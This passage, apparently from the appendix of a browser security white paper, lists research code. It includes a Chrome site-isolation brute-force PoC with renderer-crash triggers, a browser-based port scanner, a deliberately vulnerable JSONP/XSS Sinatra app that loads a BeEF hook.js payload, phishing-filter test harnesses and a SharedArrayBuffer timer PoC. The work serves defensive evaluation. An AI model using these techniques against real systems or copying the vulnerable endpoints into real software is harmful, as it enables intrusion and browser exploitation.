Qualified name: APPLICATION PACKAGE AUTHORITY\Your videos library

• voipCall
SID:S-1-15-3-1024-528040493-3731447870-67007039-3324466937-472126288-3192664210-2621923198-3039294295
Qualified name: NAMED CAPABILITIES\Voip Call

• walletSystem
SID:S-1-15-3-1024-3220540237-2689165624-4063022621-485423413-3446573505-530027026-3263391230-3512805223
Qualified name: NAMED CAPABILITIES\Wallet System

• webcam
SID:S-1-15-3-1024-4131216513-4266103714-3944869821-2853506808-3373049249-4035912394-2659877950-3593780078

• wiFiControl
SID:S-1-15-3-1024-1435741670-739137367-1743980217-3651543328-1944853929-2879019864-2752253861-3176136090

• xboxAccessoryManagement
SID:S-1-15-3-1024-316617620-767886417-2031403316-4137648062-386588034-2282218452-745559578-2387228587

Proof-of-Concept code for brute-force attack abusing Site Isolation
1 <script>
2 // This is a Proof-of-Concept for an attack that uses the `site-per-process`
3 // feature to allow an attacker to repeatedly try exploiting an unreliable
4 // vulnerability. This effectively allows a brute-force attack against
5 // mitigations that depend on randomization (such as ASLR), by giving an
6 // attacker an infinite number of tries to guess randomized values.
7

8 // This page must be served on the loopback adapter, and can be served on any
9 // available port. It takes advantage of the fact that "127.0.0.1" and

10 // "localhost" both point to the loopback adapter, but are considered
11 // different origins by the browser. You can open this page on either, and it
12 // will use the other as a different origin to run the tests in. In a real
13 // life attack on the internet, an attacker would have to serve this kind of
14 // attack from two different domains, ports and/or protocols in order to
15 // create two different origins. Obviously, that should not be a problem.
16

17 // In this proof of concept, a test will crash the Chrome renderer unless a
18 // correct magic value is supplied. The main page will open such tests in
19 // iframes with different numbers until it provides the correct value. This
20 // simulates exploitation of a vulnerability where a randomized value must be
21 // guessed, and incorrect guesses result in renderer crashes, but correct
22 // guesses result in successful exploitation.
23 var uMagicNumber = 28, // Magic number to try to find by brute-force,
24 // low numbers will be found faster
25 nLoadTimeout = 1, // Time to allow each test to run in seconds, lower
26 // numbers result in faster testing, but too low
27 // number may not allow each test to complete before
28 // the main page assumes it failed and start a new
29 // test. 1 Second seems to be a reasonable trade-off.
30 sDifferentOriginHost = location.hostname == "127.0.0.1" ?
31 "localhost" : "127.0.0.1",
32 sDifferentOriginBaseURL = location.protocol + "//" +
33 sDifferentOriginHost + ":" + location.port + location.pathname;
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34 onload = function() {
35 if (!location.search) {
36 // This is the main page, it opens a test page in a different domain in
37 // an iframe in order to try a magic number; once it opens the test page
38 // with the correct magic number, the test page will navigate the main
39 // page to show the brute-force attack succeeded.
40 var uNumber = 0;
41 function fTryNumberThread() {
42 var oIFrame = document.createElement("iframe");
43 oIFrame.src = sDifferentOriginBaseURL + "?" + uNumber++, "test";
44 document.body.appendChild(oIFrame);
45 var oInterval = setInterval(function () {
46 // Wait for the IFrame to start loading the test
47 try { if (oIFrame.contentDocument != null) return; } catch (e) {};
48 clearInterval(oInterval);
49 // Allow the IFrame to run the test for 5 seconds.
50 setTimeout(function () {
51 // The test failed; remove the iframe.
52 document.body.removeChild(oIFrame);
53 // Try another number.
54 fTryNumberThread();
55 }, nLoadTimeout * 1000);
56 }, 100);
57 };
58 // Run test thread; if you have multiple domains, you could run multiple
59 // threads simultaneously
60 fTryNumberThread();
61 } else if (location.search.match(/^\?\d+$/)) {
62 document.body.textContent = location.search;
63 // This gets opened in an iframe and will crash unless the magic number
64 // is provided in the URL.
65 // This simulates a vulnerability that is unreliable, but can be
66 // brute-forced to succeed, such as an attack against ASLR.
67 var sNumber = location.search.substr(1);
68 if (sNumber == uMagicNumber) {
69 // Correct guess: navigate the main page to stop testing and show result.
70 top.location = sDifferentOriginBaseURL + "?Found magic number " + sNumber;
71 } else {
72 setTimeout(function() {
73 // Chrome Crash 1
74 try { console.time(Symbol()); } catch (e) {};
75 // Chrome Crash 2
76 try { document.createElement("x").animate({"e":Symbol()}); } catch (e) {};
77 // Chrome Crash 3
78 try {
79 var oIFrame = document.createElement("iframe");
80 oIFrame.src = "?";
81 document.body.appendChild(oIFrame);
82 var cSharedWorker = oIFrame.contentWindow.SharedWorker;
83 oIFrame.src = "?";
84 setInterval(function() {
85 try { new cSharedWorker(0); } catch (e) {};
86 });
87 } catch (e) {};
88 // Chrome Crash 4
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89 try {
90 var oTextArea = document.createElement("textarea");
91 oTextArea.style="backface-visibility:hidden;padding:7483640ex";
92 oTextArea.textContent = "x";
93 document.body.appendChild(oTextArea);
94 } catch (e) {};
95 }, 100);
96 };
97 } else {
98 // This gets opened in the tab when we found the magic number
99 document.body.textContent = unescape(location.search.substr(1));

100 };
101 };
102 </script>

PORTBANNING TESTING
1 var index = 1;
2 // iterate up to TCP port 7000
3 var end = 7000;
4 var target = "http://10.0.61.79";
5 var timeout = 100; // send 10 requests every second
6

7 function connect_to_port(){
8 if(index <= end){
9 try{

10 var xhr = new XMLHttpRequest();
11 var port = index;
12 var uri = target + ":" + port + "/";
13 xhr.open("GET", uri, false);
14 index++;
15 xhr.send();
16 //console.log("Request sent to port: " + port);
17 setTimeout(function(){connect_to_port();},timeout);
18 }catch(e){
19 setTimeout(function(){connect_to_port();},timeout);
20 }
21 }else{
22 console.log("Finished");
23 return;
24 }
25 }
26

27 connect_to_port();

Listing A.1: Client-side code

1 require 'socket'
2 @not_banned_ports = ""
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3

4 # Iptables can be used to redirect all ports to this one
5 # iptables -A PREROUTING -t nat -i enp0s3 -p tcp --dport 1:65535 -j DNAT \
6 # --to-destination 10.0.9.2:10000
7 def bind_socket(name, host, port)
8 server = TCPServer.new(host, port)
9 loop do

10 Thread.start(server.accept) do |client|
11 data = ""
12 recv_length = 1024
13 threshold = 1024 * 512
14 while (tmp = client.recv(recv_length))
15 data += tmp
16 break if tmp.length < recv_length ||
17 tmp.length == recv_length
18 # 512 KB max of incoming data
19 break if data > threshold
20 end
21 if data.size > threshold
22 print_error "More than 512 KB of data" +
23 " incoming for Bind Socket [#{name}]."
24 else
25 headers = data.split(/\r\n/)
26 host = ""
27 headers.each do |header|
28 if header.include?("Host")
29 host = header
30 break
31 end
32 end
33 port = host.split(/:/)[2] || 80
34 puts "Received connection on port #{port}"
35 @not_banned_ports += "#{port}\n"
36 client.puts "HTTP/1.1 200 OK"
37 client.close
38 end
39 client.close
40 end
41 end
42 end
43

44 begin
45 bind_socket("PortBanning", "10.0.9.2", 10000)
46 rescue Exception
47 File.open("not_banned_ports.txt", 'w') { |f|
48 f.write(@not_banned_ports)
49 }
50

51 puts "Checking which ports are banned..."
52

53 port = 1
54 banned_ports = Array.new
55 File.open('not_banned_ports.txt').each do |line|
56 current_port = line.chomp.to_i
57 if(current_port == port)
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58 # go to next port
59 port = port + 1
60 elsif(port < current_port)
61 diff = current_port - port
62 diff.times do
63 puts "Banned port: #{port.to_s}"
64 banned_ports << port.to_s
65 port = port + 1
66 end
67 port = current_port + diff
68 end
69 end
70 puts "Banned Ports:\n#{banned_ports.join(',')}"
71 end

Listing A.2: Server-side code

UNFILTERED JSONPCALLBACK RUBY EXAMPLE
1 require "sinatra"
2 require "sinatra/jsonp"
3 set :bind, '0.0.0.0'
4

5 get '/jsonp' do
6 jsonp params[:callback], params[:callback]
7 end
8

9 # vulnerable JSONP with unfiltered callback
10 get '/vulnjsonp' do
11 content_type 'application/javascript;charset=utf-8'
12 params[:callback]
13 end
14

15 # having BeEF on the same machinei
16 # -> http://localhost:4567/xss?secret=<script%20src="http://127.0.0.1:3000/hook.js"></script>
17 get '/xss' do
18 "<html><head></head><body>You got XSSed:\n #{params[:secret]}</body></html>"
19 end
20

21 # supposedly BeEF is on the same machine
22 get '/xssstored' do
23 "BeEFed <script src='http://127.0.0.1:3000/hook.js'></script>"
24 end
25

26 get '/sameorigin-1' do
27 '<html><head></head>Secret on SameOrigin</body></html>'
28 end
29

30

31 get '/sameorigin/hidden' do
32 '<html><head></head>Secret on SameOrigin</body></html>'
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33 end
34

35 get '/sameorigin-2' do
36 '<html><head></head>Second Secret on SameOrigin</body></html>'
37 end

Listing A.3: Unfiltered JSONPCallback

PHISHING

SafeBrowsing testing
1 var count = 0;
2 var notify_url = "http://10.0.60.13:3000";
3 var parallel_tabs = 5;
4 var to_process = [];
5 var allowed_urls = [];
6 var slices = 6;
7 var process_slice = 1;
8 var instance = 'w1';
9

10 function getOpenPhishData(){
11 var x = new XMLHttpRequest();
12 x.open('GET', notify_url + '/phishtank?slices=' + slices + '&slice=' + process_slice, false);
13 x.onreadystatechange = function(){
14 if (x.readyState == 4) {
15 var op_urls = x.responseText.split('\n');
16 to_process = op_urls;
17 console.log("To Process: " + op_urls.length + "\nConcurrent tabs: " +

parallel_tabs);,→
18 }
19 };
20 x.send();
21 }
22

23 function notify(url, count){
24 var x = new XMLHttpRequest();
25 x.open('GET', notify_url + '/allowed?inst=' + instance + '&url=' +
26 encodeURIComponent(url) + "&count=" + encodeURIComponent(count));
27 x.send();
28 };
29

30 chrome.tabs.onUpdated.addListener( function (tabId, changeInfo, tab) {
31 if (changeInfo.status == 'complete'){// && tab.active) {
32 var url = tab.url;
33 if(!allowed_urls.includes(url)){
34 var cur_count = count + "/" + to_process.length;
35 notify(url, cur_count);
36 allowed_urls.push(url);
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37 }
38 }
39 });
40

41 getOpenPhishData();
42

43 setTimeout(function(){
44 var loop = setInterval(function(){
45 if(count <= to_process.length - 1){ clearInterval(loop); }
46

47 for(var c=0; c<parallel_tabs ; c++){
48 chrome.tabs.create({url:to_process[count]}, function(tab){
49 setTimeout(function(){
50 if(tab.status == 'loading'){
51 chrome.tabs.remove(tab.id);
52 }
53 }, 5000);
54 });
55 count++;
56 }
57 },4000);
58 },2000);

Listing A.4: SafeBrowsing Test

SmartScreen testing
1 @b = Watir::Browser.new(:edge)
2 @b.driver.manage.timeouts.implicit_wait = 3 # 3 seconds timeout waiting for an object to be found
3 count = 1
4

5 search_for = ['disabled', 'suspended', 'permanently removed', 'something went wrong',
6 'removed', 'not available', '404 - File or directory not found', '404']
7

8 while count < total
9 begin

10 break if @dqueue.size == 0
11

12 url = @dqueue.pop(true)['url']
13 filename = URI.parse(url).host.downcase
14 @b.goto url
15 response = @b.text
16

17 if response.include?('Windows Defender SmartScreen')
18 puts "[#{Time.now}] ##{count} SC -> BLOCKED [#{filename}]".green
19 else
20 fp = false
21 search_for.each do |search|
22 if response.include?(search)
23 fp = true
24 break
25 end
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26 end
27

28 if !fp
29 puts "[#{Time.now}] ##{count} SC -> ALLOWED [#{filename}]".red
30 NotFlagged.create(
31 :time => Time.now,
32 :source => 'PhishTank',
33 :api => 'SmartScreen',
34 :url => url
35 )
36 else
37 puts "[#{Time.now}] ##{count} SC -> ignore [#{filename}]"
38 end
39 end
40 rescue Exception => e
41 puts "[#{Time.now}] ##{count} Something went wrong for url [#{filename}], message:\n#{e.message}"
42 if e.message.include?('No such driver')
43 puts "Stopping since WebDriver stopped working."
44 break
45 elsif e.message.include?('unable to locate element')
46 next
47 elsif e.message.include?('ReadTimeout')
48 next
49 elsif e.message.include?('Invalid character')
50 next
51 elsif e.message.include?('unexpected alert open')
52 sleep 1
53 if @b.alert.exists?
54 puts "Closing damn pop-up..."
55 @b.alert.ok
56 begin
57 @b.alert.close
58 rescue Exception => e
59 end
60 end
61 else
62 puts "Exception message:\n#{e.message}"
63 break
64 end
65 end
66 count += 1
67 end

Listing A.5: SmartScreen Test

X41D-SECGmbH Page 183 of 197



Browser SecurityWhite Paper

HIGH RESOLUTION TIMERS
1 /**
2 * Helper functions for timer tests
3 */
4

5 function median(values) {
6 values.sort( function(a,b) {return a - b;} );
7 var half = Math.floor(values.length/2);
8 if(values.length % 2)
9 return values[half];

10 else
11 return (values[half-1] + values[half]) / 2.0;
12 }
13

14

15 function getWorker(code) {
16

17 if (!URL || !Blob || !Worker) {
18 return null;
19 }
20

21 var bl = new Blob([code]);
22 var worker = new Worker(URL.createObjectURL(bl));
23 return worker;
24 }
25

26 function isEdge() {
27 return window.navigator.userAgent.indexOf("Edge") > -1;
28 }
29

30 let sab = new SharedArrayBuffer(Int32Array.BYTES_PER_ELEMENT * 256);
31 let sharedArray = new Int32Array(sab);
32 sharedArray[0] = 0; // just to make sure
33 // Build a worker from an anonymous function body
34 let timerFun = `self.addEventListener('message', (m) => {
35 // Create an Int32Array on top of that shared memory area
36 ssharedArray = new Int32Array(m.data)
37

38 console.log('started timer worker')
39 for (i=0;;i++) {
40 ssharedArray[0] = ssharedArray[0] + 1
41 }
42 });
43 `;
44 let workFun = `
45 self.addEventListener('message', (m) => {
46 // Create an Int32Array on top of that shared memory area
47 ssharedArray = new Int32Array(m.data)
48 console.log('started worker, init shared: ' + ssharedArray[0])
49 let vals = []
50 for(let i=0;i<100;i++) {
51 let start = ssharedArray[0]
52 // If you want to measure something extend the following promise,
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53 // first use our setTimeout sleep to calibrate and find out the ticks per ms,
54 // then() measure the subject.
55 new Promise((resolve) => setTimeout(resolve, 1000)).then(() => { // sleep(1000)
56 vals.push(ssharedArray[0]-start)
57 if (vals.length == 100) {
58 function median(values) {
59 values.sort( function(a,b) {return a - b;} );
60 var half = Math.floor(values.length/2);
61 if(values.length % 2)
62 return values[half];
63 else
64 return (values[half-1] + values[half]) / 2.0;
65 }
66

67 medtpms = 1000.0 / median(vals)
68 console.log("median resolution in ms: " + medtpms)
69 // faster than 5 micro secs is interesting for attackers
70 if ( medtpms < 0.0005) {
71 console.log("test failed resolution < 0.0005 ms")
72 notify(6, 'High Precision Timers - Shared Buffers', true, null);
73 }
74 }
75 });
76 }
77 });
78 `;
79 let workerTimer = getWorker(timerFun);
80 let worker = getWorker(workFun);
81

82

83 if (isEdge()) {
84 // WORKAROUND - adding sab to the transfers list is actually wrong,
85 // but there is a bug in Edge preventing sharing of SharedArrayBuffer if we don't do it..
86 workerTimer.postMessage(sab, [sab]);
87 // give the worker some time to start up and run the test
88 setTimeout(function() { worker.postMessage(sab, [sab]) }, 1000);
89 } else {
90 workerTimer.postMessage(sab);
91 // give the worker some time to start up and run the test
92 setTimeout(function() { worker.postMessage(sab) }, 1000);
93 }

Listing A.6: Shared Array Buffers +WebWorkers Time-Measurement PoC
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